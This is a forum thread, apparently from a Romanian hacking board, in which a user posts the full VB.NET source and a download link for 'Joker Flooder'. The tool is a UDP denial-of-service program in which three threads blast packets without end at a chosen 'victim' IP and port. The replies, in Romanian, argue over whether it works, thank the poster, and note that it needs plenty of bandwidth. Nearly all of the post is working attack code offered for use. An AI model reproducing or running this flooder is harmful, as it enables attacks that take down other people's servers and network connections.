Joker Flooder in VB.NET and source code

[bc-vnt]

Download : Joker Flooder.exe download - 2shared

Imports System
Imports System.Collections.Generic
Imports System.Net
Imports System.Net.Sockets
Imports System.Threading

Class form1
    Dim i As Integer = 0
    Public Shared IP As String
    Public Shared Port As Integer

    Sub Main() Handles Bg1.DoWork
        Dim victimIp As IPAddress = IPAddress.Parse(IP)
        Dim victim As New IPEndPoint(victimIp, Port)
        Dim packet As Byte() = New Byte(1469) {} '1469
        Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
        While True
            If Bg1.CancellationPending = True Then
                Exit Sub
            End If
            Try
                socket.SendTo(packet, victim)
                i += 1
                report()
            Catch ex As Exception
                Bg1.CancelAsync()
                MsgBox(IP & " Is not reachable.")
            End Try
        End While
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StartFloodToolStripMenuItem.Click
        If CheckBox1.Checked = True Then
            My.Settings.IP = TextBox1.Text
            My.Settings.Port = NumericUpDown1.Value
        End If
        TextBox1.Enabled = False
        NumericUpDown1.Enabled = False
        IP = TextBox1.Text
        Port = NumericUpDown1.Value
        sslabel1.Text = ("Flooding: " & IP & " On port : " & Port)
        Bg1.RunWorkerAsync()
        Bg2.RunWorkerAsync()
        Bg3.RunWorkerAsync()

    End Sub
    Sub report() Handles Bg1.ProgressChanged
        sslabel2.Text = i & " Packets Sent"
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StopFloodToolStripMenuItem.Click
        Bg1.CancelAsync()
        Bg2.CancelAsync()
        Bg3.CancelAsync()

    End Sub
    Sub done() Handles Bg1.RunWorkerCompleted
        sslabel1.Text = "Idle"
        sslabel2.Text = ""
        i = 0

        TextBox1.Enabled = True
        NumericUpDown1.Enabled = True
    End Sub

    Private Sub Bg2_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles Bg2.DoWork
        Dim victimIp As IPAddress = IPAddress.Parse(IP)
        Dim victim As New IPEndPoint(victimIp, Port)
        Dim packet As Byte() = New Byte(1469) {}
        Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)

        While True
            If Bg2.CancellationPending = True Then
                Exit Sub
            End If
            Try
                socket.SendTo(packet, victim)
                i += 1
            Catch ex As Exception
                Bg2.CancelAsync()
            End Try
        End While
    End Sub

    Private Sub Bg3_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles Bg3.DoWork
        Dim victimIp As IPAddress = IPAddress.Parse(IP)
        Dim victim As New IPEndPoint(victimIp, Port)
        Dim packet As Byte() = New Byte(1469) {} '1469
        Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)

        While True
            If Bg3.CancellationPending = True Then
                Exit Sub
            End If
            Try

                socket.SendTo(packet, victim)
                i += 1
            Catch ex As Exception
                Bg3.CancelAsync()
            End Try
        End While
    End Sub

    Private Sub form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        TextBox1.Text = My.Settings.IP
        NumericUpDown1.Value = My.Settings.Port
    End Sub

    Private Sub FileToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FileToolStripMenuItem.Click

    End Sub

    Private Sub LeaveToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles LeaveToolStripMenuItem.Click
        End
    End Sub
End Class

Scan :

Print :

[SKYNET32]

e o porcarie nu merge

[ganjalover]

L-a testat cineva?

[bc-vnt]

L-a testat cineva?

Chiar daca nu l-a testat nimeni , ai codul , ti-l poti face chiar tu

[io.kent]

in afara sa zici e o porcarie, nu merge, nu poti sa multumesti? si daca nu merge, dar fi recunoscator,off off viata viata!!

[sKz]

Merge destul de bine . thx!!!

[Maximus]

Merge destul de bine . thx!!!

ai dat 127.0.0.1 si ai ramas fara net nu ?

[sKz]

da lam testat, foarte bun prg ...

[dark87]

Trebuie sa ai banda buna la asa ceva

daca nu ai banda pici tu mai repede programe cu sockets multe care iti rupe banda